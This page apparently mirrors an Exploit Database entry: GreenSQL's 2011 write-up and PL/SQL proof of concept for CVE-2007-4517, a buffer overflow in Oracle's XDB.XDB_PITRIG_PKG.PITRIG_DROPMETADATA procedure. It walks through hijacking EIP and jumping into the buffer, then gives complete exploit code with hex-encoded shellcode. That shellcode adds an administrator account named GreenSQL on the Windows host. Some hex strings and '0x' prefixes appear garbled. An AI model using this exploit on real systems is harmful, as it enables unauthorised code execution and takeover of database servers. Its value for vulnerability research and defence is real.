Oracle – xdb.xdb_pitrig_pkg.PITRIG_DROPMETADATA procedure

Exploit Database
105 阅读

作者： David Maman

日期： 2011-11-07
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/18093/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

# Exploit Title: New exploit to Oracle CVE-2007-4517 vulnerability

# Date: 11,2,2011

# Author: David Maman and the GreenSQL Team

# Software Link: http://blog.greensql.com/2011/11/02/new-exploit-to-oracle-vulnerability/

# Version: 0.1

# Tested on: Oracle Database 10g Express Edition

# CVE : New exploit to CVE-2007-4517

Summary

=======

As part of GreenSQLs Database security research,weve been validating and extending coverage of known and unknown vulnerabilities in order to increase GreenSQL product security, at this post we will reveal a full working Prove of Concept for the CVE-2007-4517 vulnerability which executes arbitrary code.

The Exploit: PL/SQL/2007-4517 exploit is a PL/SQL procedure that exploits the CVE-2007-4517 vulnerability, also known as Oracle Database XDB.XDB_PITRIG_PKG.PITRIG_DROPMETADATA Procedure Multiple Argument Remote Overflow.

The vulnerability is caused due to a boundary error in the XDB.XDB_PITRIG_PKG.PITRIG_DROPMETADATA procedure when processing the OWNER and NAME arguments to create an SQL query.

This can be exploited to cause a buffer overflow by passing overly long OWNER and NAME arguments to the affected procedure.

Symptoms

========

System Changes:

New administrative user account.

(Username: GreenSQL, Password:GreenSQL)

OracleServiceXE service turns off.

Technical Information

The exploits has been tested on:

Windows XP Professional SP3.

Oracle Database 10g Express Edition.

All the known exploits and POCs developed for this vulnerability so far are Denial-of-Service exploits.

This is a New exploit that actually executes arbitrary code and adds a new user account to the database host operating system.

The Exploit

===========

The PL/SQL procedure calls to the xDb.XDB_PITRIG_PKG.PITRIG_DROPMETADATA() function with two arguments:

1. 123.

2. Buffer (2305 bytes)

The buffer consists of payload, jmp instructions, arithmetic instructions and garbage.

When executing the code, the EBX contains the starting address of the buffer + 0x7A5.

In order to execute the payload in the buffer, the following steps needs to be performed:

1. The EIP should point to an address contains the jmp EBX instruction.

2. At the [EBX] address, the exploit needs to jmp -0x7A5 to the start of the buffer.

Jumping to EBX

In order to jump to the address in the EBX register, the EIP should be set to 0x 095F7160.

Jumping to the Payload

In order to execute the payload, the following instructions needs to be performed:

sub ebx, 0x7a5

jmp ebx

The opcodes of the first instruction are:

0ª81, 0xEB, 0xA5, 0ª07, 0ª00, 0ª00.

One of the limitations of HEXTORAW() function, is that its not able to deal with 0ª00 characters.

Because of that reason, instead of using the sub ebx, 0x7a5 instruction, the following instructions need to be performed:

sub bl,0xb0

add bh,0xfa

jmp ebx

Which are equivalent to:

sub ebx, 0x5b0

jmp ebx

Which is equivalent to jmp ebx-0x5b0.

The opcodes of those instructions are:

0ª80, 0xEB, 0xB0, 0ª80, 0xC7, 0xFA, 0xFF, 0xE3, which are able to be processed by the HEXTORAW() function.

The Payload

===========

The payloads size is 308 bytes (of 0x7A5-0x5B0 = 0x1F5 = 501 payloads space)

The payload creates a new user account, called GreenSQL, with the password GreenSQL.

After creating the user account, it adds the user to the Administrators group.

The Exploit POC

===============

#################################################

## GreenSQL ########Proof-of-Concept ##

## This code is for educational purposes only##

#################################################

declare

sc varchar2(32767);

junk varchar2(32767);

junk2 varchar2(32767);

EBX varchar2(32767);

junk3 varchar2(32767);

JMP2SC varchar2(32767);

junk4 varchar2(32767);

EIP varchar2(32767);

junk5 varchar2(32767);

begin

junk:='@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@';

sc:=UTL_RAW.CAST_TO_varchar2(HEXTORAW('d9c6bd60dd3d66d9742

4f45b31c9b147316b18036b1883c3643fc89a8c36'));

sc := sc || UTL_RAW.CAST_TO_varchar2(HEXTORAW('33634c29bd8

67d7bd9c32f4ba986c320ff3250442834d1e30e7be2c58ed72047732a7

4a74ae589a68b1861fa4456d3ebe12aef0a26214f7543f63bcf4a27934

404df9803b5de4d5089a9fa'));

sc := sc || UTL_RAW.CAST_TO_varchar2(HEXTORAW('a379282afa8

21a1251bd929fabf9157fdef16502d9c114d86cd4bfabd73c417881b74

d35c59051c80aab6e41ad7ce7118a58a3c2b3f909a5cc1af51a6950144

f0b3b738e99413a90a1496df890c2e27f2d01478f6708ee072ed8b24ad

136f07252b389814ab68ccecc'));

sc := sc || UTL_RAW.CAST_TO_varchar2(HEXTORAW('2afd5fb94c5

260e82e39fa3dd4b967623959470c20e9a7a5d974d56559057c030bba2

f87f37bbd7291ed122c15d2bb8fe156e329cc768d5064573df4e7f6d16

d9a975c027a29fa8f13c76b2390650ab737f8bf178f8e5a3d613cf5f15

dedb44ddaf1'));

junk2:='AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';

EBX:=UTL_RAW.CAST_TO_varchar2(HEXTORAW('EB10')) || 'CCCCC';

junk3:= 'EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE';

JMP2SC:=UTL_RAW.CAST_TO_varchar2(HEXTORAW('80EBB080C7FAFFE3'));

junk4:='@@@@@@@@@@@@@@@@@@@@@@@@';

EIP:= UTL_RAW.CAST_TO_varchar2(HEXTORAW('095f7160095f7160095f71

60095f7160095f7160095f7160095f7160095f7160095f7160')); -- jmp EBX

junk5:='CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC';

xDb.XDB_PITRIG_PKG.PITRIG_DROPMETADATA('123', junk||sc||junk2||EBX

||junk3||JMP2SC||junk4||EIP||junk5);

end;